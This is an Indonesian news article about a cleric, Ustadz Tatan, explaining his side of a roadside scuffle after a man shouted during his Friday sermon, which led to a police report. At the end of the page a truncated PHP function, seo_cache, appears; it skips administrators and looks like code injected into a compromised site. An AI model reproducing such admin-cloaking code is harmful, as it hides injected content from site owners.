Hukum

Klarifikasi Ustadz Tatan : Kami Bermaksud Baik Tanya Soal Pelecehan dalam Khutbah Sholat Jumat

×

Klarifikasi Ustadz Tatan : Kami Bermaksud Baik Tanya Soal Pelecehan dalam Khutbah Sholat Jumat

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Dilaporkan ke polisi dengan tuduhan penyerangan Ustadz Tatan Abdulrahman akhirnya buka suara.

Dalam pernyataan pers kepada sejumlah media, ia menjelaskan duduk perkara atas peristiwa yang dilaporkan sebagai penyerangan tersebut.

Disebutkan Ustadz Tatan, kedatangan dirinya bersama kedua adiknya untuk mengklarifikasi tindakan Muhammad Yusuf yang telah melecehkan agama saat sholat Jumat.

“Apa yang disampaikan kemarin itu betul-betul tidak sesuai dengan kenyataan yang berlaku,” ujarnya dalam pernyataan pada Sabtu (14/03/2026).

Kejadian itu berawal saat ia memimpin khutbah di Masjid Agung Al-Falah Waitabula, Jumat (13/03/2026).

Ustadz Tatan Abdulrahman saat memberikan keterangan pers kepada sejumlah media, Sabtu (14/03/2026). ( Foto Menara Sumba )

Di pertengahan khutbah tersebut Yusuf berdiri dan berteriak “hoi diam” dengan suara sangat besar.

“Dia posisi sementara berdiri sehingga saya sempat jeda khutbahnya saya. Dan para jamaah juga pada saat itu semua sempat lihat ke arah Yusuf,” terangnya.

Karena merasa bertanggung jawab untuk menyelesaikan tugas Khatib Jumat ia kemudian meneruskan khutbah.

Usai sholat ia keluar dan saat itu sejumlah jamaah menanyakan perihal teriakan yang memintanya diam saat berkhutbah.

Dari segi syariat agama perbuatan itu menyebabkan sholat Jumat yaang bersangkutan jadi sia-sia.

“Maka tidak ada sholat Jumat buat dia sehingga saya terpanggil, dan bertanya dalam hati, mungkin saya pernah punya salah dengan dia sehingga berniat menemuinya,” beber Ustadz Yusuf.

Sayangnya, niat bertemu Yusuf untuk bicara baik-baik justru berujung keributan.

Niat Baik Tak Kesampaian

Belum masuk halaman rumah, ia bersama kedua adiknya (Andi dan Umang) sudah berpapasan dengan Yusuf di pinggir jalan yang ketika itu hendak menuju kantornya.

“Saat itu saya langsung tanya kenapa berteriak dalam masjid. Terus dia jawab kenapa juga?” ungkap Ustadz Tatan.

Saat itulah, secara refleks salah satu adiknya memukul helm yang dipakai Yusuf dengan ujung jari tangan.

Seketika, lanjutnya lagi, Yusuf mencekik lehernya sendiri lalu berteriak minta tolong.

Mendengar teriakan minta tolong, tetangga Yusuf berdatangan, termasuk Jamaludin Wungo yang menenteng samurai.

“Karena Jamal datang dengan samurai kami bertiga mundur dan berada di halaman rumah Yusuf hingga keributan itu berlanjut,” tutur Ustadz Tatan.

Kejadian ini pun telah dilaporkan ke SPKT Polres SBD dengan surat tanda penerimaan laporan nomor LP/B/45/III/2026/SPKT/POLRES SUMBA BARAT DAYA/POLDA NUSA TENGGARA TIMUR.

Ia berharap penegakan hukum dilakukan seadil-adilnya sesuai fakta yang terjadi. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>